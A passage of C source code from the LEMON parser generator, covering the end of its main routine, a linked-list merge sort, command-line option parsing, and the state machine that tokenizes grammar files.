{OPT_FLAG, "r", (char*)&noResort, "Do not sort or renumber states"},
{OPT_FLAG, "s", (char*)&statistics,
"Print parser stats to standard output."},
{OPT_FLAG, "x", (char*)&version, "Print the version number."},
{OPT_FSTR, "T", (char*)handle_T_option, "Specify a template file."},
{OPT_FSTR, "W", 0, "Ignored. (Placeholder for '-W' compiler options.)"},
{OPT_FLAG,0,0,0}
};
int i;
int exitcode;
struct lemon lem;
OptInit(argv,options,stderr);
if( version ){
printf("Lemon version 1.0\n");
exit(0);
}
if( OptNArgs()!=1 ){
fprintf(stderr,"Exactly one filename argument is required.\n");
exit(1);
}
memset(&lem, 0, sizeof(lem));
lem.errorcnt = 0;
/* Initialize the machine */
Strsafe_init();
Symbol_init();
State_init();
lem.argv0 = argv[0];
lem.filename = OptArg(0);
lem.basisflag = basisflag;
lem.nolinenosflag = nolinenosflag;
Symbol_new("$");
lem.errsym = Symbol_new("error");
lem.errsym->useCnt = 0;
/* Parse the input file */
Parse(&lem);
if( lem.errorcnt ) exit(lem.errorcnt);
if( lem.nrule==0 ){
fprintf(stderr,"Empty grammar.\n");
exit(1);
}
/* Count and index the symbols of the grammar */
Symbol_new("{default}");
lem.nsymbol = Symbol_count();
lem.symbols = Symbol_arrayof();
for(i=0; i<lem.nsymbol; i++) lem.symbols[i]->index = i;
qsort(lem.symbols,lem.nsymbol,sizeof(struct symbol*), Symbolcmpp);
for(i=0; i<lem.nsymbol; i++) lem.symbols[i]->index = i;
while( lem.symbols[i-1]->type==MULTITERMINAL ){ i--; }
assert( strcmp(lem.symbols[i-1]->name,"{default}")==0 );
lem.nsymbol = i - 1;
for(i=1; isupper(lem.symbols[i]->name[0]); i++);
lem.nterminal = i;
/* Generate a reprint of the grammar, if requested on the command line */
if( rpflag ){
Reprint(&lem);
}else{
/* Initialize the size for all follow and first sets */
SetSize(lem.nterminal+1);
/* Find the precedence for every production rule (that has one) */
FindRulePrecedences(&lem);
/* Compute the lambda-nonterminals and the first-sets for every
** nonterminal */
FindFirstSets(&lem);
/* Compute all LR(0) states. Also record follow-set propagation
** links so that the follow-set can be computed later */
lem.nstate = 0;
FindStates(&lem);
lem.sorted = State_arrayof();
/* Tie up loose ends on the propagation links */
FindLinks(&lem);
/* Compute the follow set of every reducible configuration */
FindFollowSets(&lem);
/* Compute the action tables */
FindActions(&lem);
/* Compress the action tables */
if( compress==0 ) CompressTables(&lem);
/* Reorder and renumber the states so that states with fewer choices
** occur at the end. This is an optimization that helps make the
** generated parser tables smaller. */
if( noResort==0 ) ResortStates(&lem);
/* Generate a report of the parser generated. (the "y.output" file) */
if( !quiet ) ReportOutput(&lem);
/* Generate the source code for the parser */
ReportTable(&lem, mhflag);
/* Produce a header file for use by the scanner. (This step is
** omitted if the "-m" option is used because makeheaders will
** generate the file for us.) */
if( !mhflag ) ReportHeader(&lem);
}
if( statistics ){
printf("Parser statistics: %d terminals, %d nonterminals, %d rules\n",
lem.nterminal, lem.nsymbol - lem.nterminal, lem.nrule);
printf(" %d states, %d parser table entries, %d conflicts\n",
lem.nstate, lem.tablesize, lem.nconflict);
}
if( lem.nconflict > 0 ){
fprintf(stderr,"%d parsing conflicts.\n",lem.nconflict);
}
/* return 0 on success, 1 on failure. */
exitcode = ((lem.errorcnt > 0) || (lem.nconflict > 0)) ? 1 : 0;
exit(exitcode);
return (exitcode);
}
/******************** From the file "msort.c" *******************************/
/*
** A generic merge-sort program.
**
** USAGE:
** Let "ptr" be a pointer to some structure which is at the head of
** a null-terminated list. Then to sort the list call:
**
** ptr = msort(ptr,&(ptr->next),cmpfnc);
**
** In the above, "cmpfnc" is a pointer to a function which compares
** two instances of the structure and returns an integer, as in
** strcmp. The second argument is a pointer to the pointer to the
** second element of the linked list. This address is used to compute
** the offset to the "next" field within the structure. The offset to
** the "next" field must be constant for all structures in the list.
**
** The function returns a new pointer which is the head of the list
** after sorting.
**
** ALGORITHM:
** Merge-sort.
*/
/*
** Return a pointer to the next structure in the linked list.
*/
#define NEXT(A) (*(char**)(((char*)A)+offset))
/*
** Inputs:
** a: A sorted, null-terminated linked list. (May be null).
** b: A sorted, null-terminated linked list. (May be null).
** cmp: A pointer to the comparison function.
** offset: Offset in the structure to the "next" field.
**
** Return Value:
** A pointer to the head of a sorted list containing the elements
** of both a and b.
**
** Side effects:
** The "next" pointers for elements in the lists a and b are
** changed.
*/
static char *merge(
char *a,
char *b,
int (*cmp)(const char*,const char*),
int offset
){
char *ptr, *head;
if( a==0 ){
head = b;
}else if( b==0 ){
head = a;
}else{
if( (*cmp)(a,b)<=0 ){
ptr = a;
a = NEXT(a);
}else{
ptr = b;
b = NEXT(b);
}
head = ptr;
while( a && b ){
if( (*cmp)(a,b)<=0 ){
NEXT(ptr) = a;
ptr = a;
a = NEXT(a);
}else{
NEXT(ptr) = b;
ptr = b;
b = NEXT(b);
}
}
if( a ) NEXT(ptr) = a;
else NEXT(ptr) = b;
}
return head;
}
/*
** Inputs:
** list: Pointer to a singly-linked list of structures.
** next: Pointer to pointer to the second element of the list.
** cmp: A comparison function.
**
** Return Value:
** A pointer to the head of a sorted list containing the elements
** orginally in list.
**
** Side effects:
** The "next" pointers for elements in list are changed.
*/
#define LISTSIZE 30
static char *msort(
char *list,
char **next,
int (*cmp)(const char*,const char*)
){
unsigned long offset;
char *ep;
char *set[LISTSIZE];
int i;
offset = (unsigned long)((char*)next - (char*)list);
for(i=0; i<LISTSIZE; i++) set[i] = 0;
while( list ){
ep = list;
list = NEXT(list);
NEXT(ep) = 0;
for(i=0; i<LISTSIZE-1 && set[i]!=0; i++){
ep = merge(ep,set[i],cmp,offset);
set[i] = 0;
}
set[i] = ep;
}
ep = 0;
for(i=0; i<LISTSIZE; i++) if( set[i] ) ep = merge(set[i],ep,cmp,offset);
return ep;
}
/************************ From the file "option.c" **************************/
static char **argv;
static struct s_options *op;
static FILE *errstream;
#define ISOPT(X) ((X)[0]=='-'||(X)[0]=='+'||strchr((X),'=')!=0)
/*
** Print the command line with a carrot pointing to the k-th character
** of the n-th field.
*/
static void errline(int n, int k, FILE *err)
{
int spcnt, i;
if( argv[0] ) fprintf(err,"%s",argv[0]);
spcnt = lemonStrlen(argv[0]) + 1;
for(i=1; i<n && argv[i]; i++){
fprintf(err," %s",argv[i]);
spcnt += lemonStrlen(argv[i])+1;
}
spcnt += k;
for(; argv[i]; i++) fprintf(err," %s",argv[i]);
if( spcnt<20 ){
fprintf(err,"\n%*s^-- here\n",spcnt,"");
}else{
fprintf(err,"\n%*shere --^\n",spcnt-7,"");
}
}
/*
** Return the index of the N-th non-switch argument. Return -1
** if N is out of range.
*/
static int argindex(int n)
{
int i;
int dashdash = 0;
if( argv!=0 && *argv!=0 ){
for(i=1; argv[i]; i++){
if( dashdash || !ISOPT(argv[i]) ){
if( n==0 ) return i;
n--;
}
if( strcmp(argv[i],"--")==0 ) dashdash = 1;
}
}
return -1;
}
static char emsg[] = "Command line syntax error: ";
/*
** Process a flag command line argument.
*/
static int handleflags(int i, FILE *err)
{
int v;
int errcnt = 0;
int j;
for(j=0; op[j].label; j++){
if( strncmp(&argv[i][1],op[j].label,lemonStrlen(op[j].label))==0 ) break;
}
v = argv[i][0]=='-' ? 1 : 0;
if( op[j].label==0 ){
if( err ){
fprintf(err,"%sundefined option.\n",emsg);
errline(i,1,err);
}
errcnt++;
}else if( op[j].arg==0 ){
/* Ignore this option */
}else if( op[j].type==OPT_FLAG ){
*((int*)op[j].arg) = v;
}else if( op[j].type==OPT_FFLAG ){
(*(void(*)(int))(op[j].arg))(v);
}else if( op[j].type==OPT_FSTR ){
(*(void(*)(char *))(op[j].arg))(&argv[i][2]);
}else{
if( err ){
fprintf(err,"%smissing argument on switch.\n",emsg);
errline(i,1,err);
}
errcnt++;
}
return errcnt;
}
/*
** Process a command line switch which has an argument.
*/
static int handleswitch(int i, FILE *err)
{
int lv = 0;
double dv = 0.0;
char *sv = 0, *end;
char *cp;
int j;
int errcnt = 0;
cp = strchr(argv[i],'=');
assert( cp!=0 );
*cp = 0;
for(j=0; op[j].label; j++){
if( strcmp(argv[i],op[j].label)==0 ) break;
}
*cp = '=';
if( op[j].label==0 ){
if( err ){
fprintf(err,"%sundefined option.\n",emsg);
errline(i,0,err);
}
errcnt++;
}else{
cp++;
switch( op[j].type ){
case OPT_FLAG:
case OPT_FFLAG:
if( err ){
fprintf(err,"%soption requires an argument.\n",emsg);
errline(i,0,err);
}
errcnt++;
break;
case OPT_DBL:
case OPT_FDBL:
dv = strtod(cp,&end);
if( *end ){
if( err ){
fprintf(err,"%sillegal character in floating-point argument.\n",emsg);
errline(i,(int)((char*)end-(char*)argv[i]),err);
}
errcnt++;
}
break;
case OPT_INT:
case OPT_FINT:
lv = strtol(cp,&end,0);
if( *end ){
if( err ){
fprintf(err,"%sillegal character in integer argument.\n",emsg);
errline(i,(int)((char*)end-(char*)argv[i]),err);
}
errcnt++;
}
break;
case OPT_STR:
case OPT_FSTR:
sv = cp;
break;
}
switch( op[j].type ){
case OPT_FLAG:
case OPT_FFLAG:
break;
case OPT_DBL:
*(double*)(op[j].arg) = dv;
break;
case OPT_FDBL:
(*(void(*)(double))(op[j].arg))(dv);
break;
case OPT_INT:
*(int*)(op[j].arg) = lv;
break;
case OPT_FINT:
(*(void(*)(int))(op[j].arg))((int)lv);
break;
case OPT_STR:
*(char**)(op[j].arg) = sv;
break;
case OPT_FSTR:
(*(void(*)(char *))(op[j].arg))(sv);
break;
}
}
return errcnt;
}
int OptInit(char **a, struct s_options *o, FILE *err)
{
int errcnt = 0;
argv = a;
op = o;
errstream = err;
if( argv && *argv && op ){
int i;
for(i=1; argv[i]; i++){
if( argv[i][0]=='+' || argv[i][0]=='-' ){
errcnt += handleflags(i,err);
}else if( strchr(argv[i],'=') ){
errcnt += handleswitch(i,err);
}
}
}
if( errcnt>0 ){
fprintf(err,"Valid command line options for \"%s\" are:\n",*a);
OptPrint();
exit(1);
}
return 0;
}
int OptNArgs(){
int cnt = 0;
int dashdash = 0;
int i;
if( argv!=0 && argv[0]!=0 ){
for(i=1; argv[i]; i++){
if( dashdash || !ISOPT(argv[i]) ) cnt++;
if( strcmp(argv[i],"--")==0 ) dashdash = 1;
}
}
return cnt;
}
char *OptArg(int n)
{
int i;
i = argindex(n);
return i>=0 ? argv[i] : 0;
}
void OptErr(int n)
{
int i;
i = argindex(n);
if( i>=0 ) errline(i,0,errstream);
}
void OptPrint(){
int i;
int max, len;
max = 0;
for(i=0; op[i].label; i++){
len = lemonStrlen(op[i].label) + 1;
switch( op[i].type ){
case OPT_FLAG:
case OPT_FFLAG:
break;
case OPT_INT:
case OPT_FINT:
len += 9; /* length of "<integer>" */
break;
case OPT_DBL:
case OPT_FDBL:
len += 6; /* length of "<real>" */
break;
case OPT_STR:
case OPT_FSTR:
len += 8; /* length of "<string>" */
break;
}
if( len>max ) max = len;
}
for(i=0; op[i].label; i++){
switch( op[i].type ){
case OPT_FLAG:
case OPT_FFLAG:
fprintf(errstream," -%-*s %s\n",max,op[i].label,op[i].message);
break;
case OPT_INT:
case OPT_FINT:
fprintf(errstream," -%s<integer>%*s %s\n",op[i].label,
(int)(max-lemonStrlen(op[i].label)-9),"",op[i].message);
break;
case OPT_DBL:
case OPT_FDBL:
fprintf(errstream," -%s<real>%*s %s\n",op[i].label,
(int)(max-lemonStrlen(op[i].label)-6),"",op[i].message);
break;
case OPT_STR:
case OPT_FSTR:
fprintf(errstream," -%s<string>%*s %s\n",op[i].label,
(int)(max-lemonStrlen(op[i].label)-8),"",op[i].message);
break;
}
}
}
/*********************** From the file "parse.c" ****************************/
/*
** Input file parser for the LEMON parser generator.
*/
/* The state of the parser */
enum e_state {
INITIALIZE,
WAITING_FOR_DECL_OR_RULE,
WAITING_FOR_DECL_KEYWORD,
WAITING_FOR_DECL_ARG,
WAITING_FOR_PRECEDENCE_SYMBOL,
WAITING_FOR_ARROW,
IN_RHS,
LHS_ALIAS_1,
LHS_ALIAS_2,
LHS_ALIAS_3,
RHS_ALIAS_1,
RHS_ALIAS_2,
PRECEDENCE_MARK_1,
PRECEDENCE_MARK_2,
RESYNC_AFTER_RULE_ERROR,
RESYNC_AFTER_DECL_ERROR,
WAITING_FOR_DESTRUCTOR_SYMBOL,
WAITING_FOR_DATATYPE_SYMBOL,
WAITING_FOR_FALLBACK_ID,
WAITING_FOR_WILDCARD_ID,
WAITING_FOR_CLASS_ID,
WAITING_FOR_CLASS_TOKEN
};
struct pstate {
char *filename; /* Name of the input file */
int tokenlineno; /* Linenumber at which current token starts */
int errorcnt; /* Number of errors so far */
char *tokenstart; /* Text of current token */
struct lemon *gp; /* Global state vector */
enum e_state state; /* The state of the parser */
struct symbol *fallback; /* The fallback token */
struct symbol *tkclass; /* Token class symbol */
struct symbol *lhs; /* Left-hand side of current rule */
const char *lhsalias; /* Alias for the LHS */
int nrhs; /* Number of right-hand side symbols seen */
struct symbol *rhs[MAXRHS]; /* RHS symbols */
const char *alias[MAXRHS]; /* Aliases for each RHS symbol (or NULL) */
struct rule *prevrule; /* Previous rule parsed */
const char *declkeyword; /* Keyword of a declaration */
char **declargslot; /* Where the declaration argument should be put */
int insertLineMacro; /* Add #line before declaration insert */
int *decllinenoslot; /* Where to write declaration line number */
enum e_assoc declassoc; /* Assign this association to decl arguments */
int preccounter; /* Assign this precedence to decl arguments */
struct rule *firstrule; /* Pointer to first rule in the grammar */
struct rule *lastrule; /* Pointer to the most recently parsed rule */
};
/* Parse a single token */
static void parseonetoken(struct pstate *psp)
{
const char *x;
x = Strsafe(psp->tokenstart); /* Save the token permanently */
#if 0
printf("%s:%d: Token=[%s] state=%d\n",psp->filename,psp->tokenlineno,
x,psp->state);
#endif
switch( psp->state ){
case INITIALIZE:
psp->prevrule = 0;
psp->preccounter = 0;
psp->firstrule = psp->lastrule = 0;
psp->gp->nrule = 0;
/* Fall thru to next case */
case WAITING_FOR_DECL_OR_RULE:
if( x[0]=='%' ){
psp->state = WAITING_FOR_DECL_KEYWORD;
}else if( islower(x[0]) ){
psp->lhs = Symbol_new(x);
psp->nrhs = 0;
psp->lhsalias = 0;
psp->state = WAITING_FOR_ARROW;
}else if( x[0]=='{' ){
if( psp->prevrule==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"There is no prior rule upon which to attach the code \
fragment which begins on this line.");
psp->errorcnt++;
}else if( psp->prevrule->code!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Code fragment beginning on this line is not the first \
to follow the previous rule.");
psp->errorcnt++;
}else{
psp->prevrule->line = psp->tokenlineno;
psp->prevrule->code = &x[1];
}
}else if( x[0]=='[' ){
psp->state = PRECEDENCE_MARK_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Token \"%s\" should be either \"%%\" or a nonterminal name.",
x);
psp->errorcnt++;
}
break;
case PRECEDENCE_MARK_1:
if( !isupper(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"The precedence symbol must be a terminal.");
psp->errorcnt++;
}else if( psp->prevrule==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"There is no prior rule to assign precedence \"[%s]\".",x);
psp->errorcnt++;
}else if( psp->prevrule->precsym!=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Precedence mark on this line is not the first \
to follow the previous rule.");
psp->errorcnt++;
}else{
psp->prevrule->precsym = Symbol_new(x);
}
psp->state = PRECEDENCE_MARK_2;
break;
case PRECEDENCE_MARK_2:
if( x[0]!=']' ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \"]\" on precedence mark.");
psp->errorcnt++;
}
psp->state = WAITING_FOR_DECL_OR_RULE;
break;
case WAITING_FOR_ARROW:
if( x[0]==':' && x[1]==':' && x[2]=='=' ){
psp->state = IN_RHS;
}else if( x[0]=='(' ){
psp->state = LHS_ALIAS_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Expected to see a \":\" following the LHS symbol \"%s\".",
psp->lhs->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_1:
if( isalpha(x[0]) ){
psp->lhsalias = x;
psp->state = LHS_ALIAS_2;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"\"%s\" is not a valid alias for the LHS \"%s\"\n",
x,psp->lhs->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_2:
if( x[0]==')' ){
psp->state = LHS_ALIAS_3;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \")\" following LHS alias name \"%s\".",psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case LHS_ALIAS_3:
if( x[0]==':' && x[1]==':' && x[2]=='=' ){
psp->state = IN_RHS;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \"->\" following: \"%s(%s)\".",
psp->lhs->name,psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case IN_RHS:
if( x[0]=='.' ){
struct rule *rp;
rp = (struct rule *)calloc( sizeof(struct rule) +
sizeof(struct symbol*)*psp->nrhs + sizeof(char*)*psp->nrhs, 1);
if( rp==0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Can't allocate enough memory for this rule.");
psp->errorcnt++;
psp->prevrule = 0;
}else{
int i;
rp->ruleline = psp->tokenlineno;
rp->rhs = (struct symbol**)&rp[1];
rp->rhsalias = (const char**)&(rp->rhs[psp->nrhs]);
for(i=0; i<psp->nrhs; i++){
rp->rhs[i] = psp->rhs[i];
rp->rhsalias[i] = psp->alias[i];
}
rp->lhs = psp->lhs;
rp->lhsalias = psp->lhsalias;
rp->nrhs = psp->nrhs;
rp->code = 0;
rp->precsym = 0;
rp->index = psp->gp->nrule++;
rp->nextlhs = rp->lhs->rule;
rp->lhs->rule = rp;
rp->next = 0;
if( psp->firstrule==0 ){
psp->firstrule = psp->lastrule = rp;
}else{
psp->lastrule->next = rp;
psp->lastrule = rp;
}
psp->prevrule = rp;
}
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isalpha(x[0]) ){
if( psp->nrhs>=MAXRHS ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Too many symbols on RHS of rule beginning at \"%s\".",
x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}else{
psp->rhs[psp->nrhs] = Symbol_new(x);
psp->alias[psp->nrhs] = 0;
psp->nrhs++;
}
}else if( (x[0]=='|' || x[0]=='/') && psp->nrhs>0 ){
struct symbol *msp = psp->rhs[psp->nrhs-1];
if( msp->type!=MULTITERMINAL ){
struct symbol *origsp = msp;
msp = (struct symbol *) calloc(1,sizeof(*msp));
memset(msp, 0, sizeof(*msp));
msp->type = MULTITERMINAL;
msp->nsubsym = 1;
msp->subsym = (struct symbol **) calloc(1,sizeof(struct symbol*));
msp->subsym[0] = origsp;
msp->name = origsp->name;
psp->rhs[psp->nrhs-1] = msp;
}
msp->nsubsym++;
msp->subsym = (struct symbol **) realloc(msp->subsym,
sizeof(struct symbol*)*msp->nsubsym);
msp->subsym[msp->nsubsym-1] = Symbol_new(&x[1]);
if( islower(x[1]) || islower(msp->subsym[0]->name[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Cannot form a compound containing a non-terminal");
psp->errorcnt++;
}
}else if( x[0]=='(' && psp->nrhs>0 ){
psp->state = RHS_ALIAS_1;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal character on RHS of rule: \"%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case RHS_ALIAS_1:
if( isalpha(x[0]) ){
psp->alias[psp->nrhs-1] = x;
psp->state = RHS_ALIAS_2;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"\"%s\" is not a valid alias for the RHS symbol \"%s\"\n",
x,psp->rhs[psp->nrhs-1]->name);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case RHS_ALIAS_2:
if( x[0]==')' ){
psp->state = IN_RHS;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Missing \")\" following LHS alias name \"%s\".",psp->lhsalias);
psp->errorcnt++;
psp->state = RESYNC_AFTER_RULE_ERROR;
}
break;
case WAITING_FOR_DECL_KEYWORD:
if( isalpha(x[0]) ){
psp->declkeyword = x;
psp->declargslot = 0;
psp->decllinenoslot = 0;
psp->insertLineMacro = 1;
psp->state = WAITING_FOR_DECL_ARG;
if( strcmp(x,"name")==0 ){
psp->declargslot = &(psp->gp->name);
psp->insertLineMacro = 0;
}else if( strcmp(x,"include")==0 ){
psp->declargslot = &(psp->gp->include);
}else if( strcmp(x,"code")==0 ){
psp->declargslot = &(psp->gp->extracode);
}else if( strcmp(x,"token_destructor")==0 ){
psp->declargslot = &psp->gp->tokendest;
}else if( strcmp(x,"default_destructor")==0 ){
psp->declargslot = &psp->gp->vardest;
}else if( strcmp(x,"token_prefix")==0 ){
psp->declargslot = &psp->gp->tokenprefix;
psp->insertLineMacro = 0;
}else if( strcmp(x,"syntax_error")==0 ){
psp->declargslot = &(psp->gp->error);
}else if( strcmp(x,"parse_accept")==0 ){
psp->declargslot = &(psp->gp->accept);
}else if( strcmp(x,"parse_failure")==0 ){
psp->declargslot = &(psp->gp->failure);
}else if( strcmp(x,"stack_overflow")==0 ){
psp->declargslot = &(psp->gp->overflow);
}else if( strcmp(x,"extra_argument")==0 ){
psp->declargslot = &(psp->gp->arg);
psp->insertLineMacro = 0;
}else if( strcmp(x,"token_type")==0 ){
psp->declargslot = &(psp->gp->tokentype);
psp->insertLineMacro = 0;
}else if( strcmp(x,"default_type")==0 ){
psp->declargslot = &(psp->gp->vartype);
psp->insertLineMacro = 0;
}else if( strcmp(x,"stack_size")==0 ){
psp->declargslot = &(psp->gp->stacksize);
psp->insertLineMacro = 0;
}else if( strcmp(x,"start_symbol")==0 ){
psp->declargslot = &(psp->gp->start);
psp->insertLineMacro = 0;
}else if( strcmp(x,"left")==0 ){
psp->preccounter++;
psp->declassoc = LEFT;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"right")==0 ){
psp->preccounter++;
psp->declassoc = RIGHT;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"nonassoc")==0 ){
psp->preccounter++;
psp->declassoc = NONE;
psp->state = WAITING_FOR_PRECEDENCE_SYMBOL;
}else if( strcmp(x,"destructor")==0 ){
psp->state = WAITING_FOR_DESTRUCTOR_SYMBOL;
}else if( strcmp(x,"type")==0 ){
psp->state = WAITING_FOR_DATATYPE_SYMBOL;
}else if( strcmp(x,"fallback")==0 ){
psp->fallback = 0;
psp->state = WAITING_FOR_FALLBACK_ID;
}else if( strcmp(x,"wildcard")==0 ){
psp->state = WAITING_FOR_WILDCARD_ID;
}else if( strcmp(x,"token_class")==0 ){
psp->state = WAITING_FOR_CLASS_ID;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Unknown declaration keyword: \"%%%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal declaration keyword: \"%s\".",x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case WAITING_FOR_DESTRUCTOR_SYMBOL:
if( !isalpha(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol name missing after %%destructor keyword");
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
struct symbol *sp = Symbol_new(x);
psp->declargslot = &sp->destructor;
psp->decllinenoslot = &sp->destLineno;
psp->insertLineMacro = 1;
psp->state = WAITING_FOR_DECL_ARG;
}
break;
case WAITING_FOR_DATATYPE_SYMBOL:
if( !isalpha(x[0]) ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol name missing after %%type keyword");
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
struct symbol *sp = Symbol_find(x);
if((sp) && (sp->datatype)){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol %%type \"%s\" already defined", x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
if (!sp){
sp = Symbol_new(x);
}
psp->declargslot = &sp->datatype;
psp->insertLineMacro = 0;
psp->state = WAITING_FOR_DECL_ARG;
}
}
break;
case WAITING_FOR_PRECEDENCE_SYMBOL:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isupper(x[0]) ){
struct symbol *sp;
sp = Symbol_new(x);
if( sp->prec>=0 ){
ErrorMsg(psp->filename,psp->tokenlineno,
"Symbol \"%s\" has already be given a precedence.",x);
psp->errorcnt++;
}else{
sp->prec = psp->preccounter;
sp->assoc = psp->declassoc;
}
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Can't assign a precedence to \"%s\".",x);
psp->errorcnt++;
}
break;
case WAITING_FOR_DECL_ARG:
if( x[0]=='{' || x[0]=='\"' || isalnum(x[0]) ){
const char *zOld, *zNew;
char *zBuf, *z;
int nOld, n, nLine = 0, nNew, nBack;
int addLineMacro;
char zLine[50];
zNew = x;
if( zNew[0]=='"' || zNew[0]=='{' ) zNew++;
nNew = lemonStrlen(zNew);
if( *psp->declargslot ){
zOld = *psp->declargslot;
}else{
zOld = "";
}
nOld = lemonStrlen(zOld);
n = nOld + nNew + 20;
addLineMacro = !psp->gp->nolinenosflag && psp->insertLineMacro &&
(psp->decllinenoslot==0 || psp->decllinenoslot[0]!=0);
if( addLineMacro ){
for(z=psp->filename, nBack=0; *z; z++){
if( *z=='\\' ) nBack++;
}
lemon_sprintf(zLine, "#line %d ", psp->tokenlineno);
nLine = lemonStrlen(zLine);
n += nLine + lemonStrlen(psp->filename) + nBack;
}
*psp->declargslot = (char *) realloc(*psp->declargslot, n);
zBuf = *psp->declargslot + nOld;
if( addLineMacro ){
if( nOld && zBuf[-1]!='\n' ){
*(zBuf++) = '\n';
}
memcpy(zBuf, zLine, nLine);
zBuf += nLine;
*(zBuf++) = '"';
for(z=psp->filename; *z; z++){
if( *z=='\\' ){
*(zBuf++) = '\\';
}
*(zBuf++) = *z;
}
*(zBuf++) = '"';
*(zBuf++) = '\n';
}
if( psp->decllinenoslot && psp->decllinenoslot[0]==0 ){
psp->decllinenoslot[0] = psp->tokenlineno;
}
memcpy(zBuf, zNew, nNew);
zBuf += nNew;
*zBuf = 0;
psp->state = WAITING_FOR_DECL_OR_RULE;
}else{
ErrorMsg(psp->filename,psp->tokenlineno,
"Illegal argument to %%%s: %s",psp->declkeyword,x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case WAITING_FOR_FALLBACK_ID:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( !isupper(x[0]) ){
ErrorMsg(psp->filename, psp->tokenlineno,
"%%fallback argument \"%s\" should be a token", x);
psp->errorcnt++;
}else{
struct symbol *sp = Symbol_new(x);
if( psp->fallback==0 ){
psp->fallback = sp;
}else if( sp->fallback ){
ErrorMsg(psp->filename, psp->tokenlineno,
"More than one fallback assigned to token %s", x);
psp->errorcnt++;
}else{
sp->fallback = psp->fallback;
psp->gp->has_fallback = 1;
}
}
break;
case WAITING_FOR_WILDCARD_ID:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( !isupper(x[0]) ){
ErrorMsg(psp->filename, psp->tokenlineno,
"%%wildcard argument \"%s\" should be a token", x);
psp->errorcnt++;
}else{
struct symbol *sp = Symbol_new(x);
if( psp->gp->wildcard==0 ){
psp->gp->wildcard = sp;
}else{
ErrorMsg(psp->filename, psp->tokenlineno,
"Extra wildcard to token: %s", x);
psp->errorcnt++;
}
}
break;
case WAITING_FOR_CLASS_ID:
if( !islower(x[0]) ){
ErrorMsg(psp->filename, psp->tokenlineno,
"%%token_class must be followed by an identifier: ", x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else if( Symbol_find(x) ){
ErrorMsg(psp->filename, psp->tokenlineno,
"Symbol \"%s\" already used", x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}else{
psp->tkclass = Symbol_new(x);
psp->tkclass->type = MULTITERMINAL;
psp->state = WAITING_FOR_CLASS_TOKEN;
}
break;
case WAITING_FOR_CLASS_TOKEN:
if( x[0]=='.' ){
psp->state = WAITING_FOR_DECL_OR_RULE;
}else if( isupper(x[0]) || ((x[0]=='|' || x[0]=='/') && isupper(x[1])) ){
struct symbol *msp = psp->tkclass;
msp->nsubsym++;
msp->subsym = (struct symbol **) realloc(msp->subsym,
sizeof(struct symbol*)*msp->nsubsym);
if( !isupper(x[0]) ) x++;
msp->subsym[msp->nsubsym-1] = Symbol_new(x);
}else{
ErrorMsg(psp->filename, psp->tokenlineno,
"%%token_class argument \"%s\" should be a token", x);
psp->errorcnt++;
psp->state = RESYNC_AFTER_DECL_ERROR;
}
break;
case RESYNC_AFTER_RULE_ERROR:
/* if( x[0]=='.' ) psp->state = WAITING_FOR_DECL_OR_RULE;
** break; */
case RESYNC_AFTER_DECL_ERROR:
if( x[0]=='.' ) psp->state = WAITING_FOR_DECL_OR_RULE;
if( x[0]=='%' ) psp->state = WAITING_FOR_DECL_KEYWORD;
break;
}
}
/* Run the preprocessor over the input file text. The global variables
** azDefine[0] through azDefine[nDefine-1] contains the names of all defined
** macros. This routine looks for "%ifdef" and "%ifndef" and "%endif" and
** comments them out. Text in between is also commented out as appropriate.
*/
static void preprocess_input(char *z){
int i, j, k, n;
int exclude = 0;
int start = 0;
int lineno = 1;
